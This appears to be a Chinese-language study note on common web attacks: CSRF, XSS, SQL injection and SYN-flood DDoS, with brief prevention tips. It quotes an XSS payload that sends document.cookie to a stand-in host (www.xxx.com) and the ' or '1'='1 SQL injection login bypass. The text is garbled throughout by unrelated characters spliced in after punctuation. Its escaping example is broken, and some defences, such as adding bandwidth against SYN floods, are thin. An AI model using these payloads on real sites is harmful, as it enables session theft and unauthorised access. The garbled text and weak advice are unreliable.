CSRF:
Cross-site request forgery
跨站請求偽造裙椭,利用網(wǎng)站對用戶瀏覽器的信任揉燃。
原理:1.登錄受信任網(wǎng)站A器联,并在本地生成Cookie。
? ? ? ? ? ? 2.在不登出A的情況下肴颊,訪問危險網(wǎng)站B,引誘點擊鏈接婿着,實際上是調(diào)用A網(wǎng)站的鏈接,或者是接口地址丘侠,利用A的cookie未失效蜗字。
觸發(fā)條件:A網(wǎng)站存在漏洞粗梭,用戶在A網(wǎng)站登錄過且cookie未失效
預(yù)防:token認(rèn)證断医,訪問網(wǎng)站,登錄成功后躬窜,服務(wù)器生成token荣挨,存放在cookie里,session口锭,或者本地鹃操,在訪問接口的時候要求把token帶上,到服務(wù)器端在驗證(token最好是隨機的椰拒,不可預(yù)測的)
? ? ? ? ?referer認(rèn)證,頁面來源(在hearder里)缆毁,服務(wù)器判斷是否是本站點下的頁面积锅,如果不是直接攔截适篙。
XSS:跨站腳本攻擊嚷节,不需要登錄硫痰,向網(wǎng)站注入腳本(盜用cookie,改變頁面的dom結(jié)構(gòu)缓屠,重定向鏈接)。
博客網(wǎng)站滨溉,攻擊者在上面發(fā)了一篇文章,內(nèi)容是<script>window.open(“www.xxx.com?param=”+document.cookie)</script>瀏覽器運行非法的html 標(biāo)簽/Javascript,用戶下次訪問就會把cookie發(fā)送到攻擊者的服務(wù)器上勤家。
預(yù)防:將輸入的數(shù)據(jù)進(jìn)行轉(zhuǎn)義處理乐设,比如說講 < 轉(zhuǎn)義成<
SQL注入:sql語句偽造參數(shù)近尚,
最常見的就是:' or '1'= '1歼跟。這是最常見的sql注入攻擊,當(dāng)我們輸如用戶名 jiajun 骚秦,然后密碼輸如'or '1'= '1的時候,我們在查詢用戶名和密碼是否正確的時候胞得,本來要執(zhí)行的是select * from user where username='' and password='',經(jīng)過參數(shù)拼接后懒震,會執(zhí)行sql語句?select * from user where username='jaijun' and password=' ' or ' 1'='1 ',這個時候1=1是成立,自然就跳過驗證了办龄。
預(yù)防:接口可以對采納數(shù)進(jìn)行轉(zhuǎn)義俐填,密碼什么的敏感信息要加密
DDOS發(fā)送大量請求,是服務(wù)器癱瘓
SYN Flood ,簡單說一下tcp三次握手驶悟,客戶端先服務(wù)器發(fā)出請求,請求建立連接,然后服務(wù)器返回一個報文汗茄,表明請求以被接受,然后客戶端也會返回一個報文奥喻,最后建立連接。那么如果有這么一種情況吵冒,攻擊者偽造ip地址瞭空,發(fā)出報文給服務(wù)器請求連接咆畏,這個時候服務(wù)器接受到了南捂,根據(jù)tcp三次握手的規(guī)則,服務(wù)器也要回應(yīng)一個報文鞭缭,可是這個ip是偽造的愿卒,報文回應(yīng)給誰呢,第二次握手出現(xiàn)錯誤柜候,第三次自然也就不能順利進(jìn)行了搞动,這個時候服務(wù)器收不到第三次握手時客戶端發(fā)出的報文鹦肿,又再重復(fù)第二次握手的操作箩溃。如果攻擊者偽造了大量的ip地址并發(fā)出請求涣旨,這個時候服務(wù)器將維護(hù)一個非常大的半連接等待列表霹陡,占用了大量的資源,最后服務(wù)器癱瘓烹棉。
預(yù)防:增加服務(wù)器帶寬。
? ? ? ? ??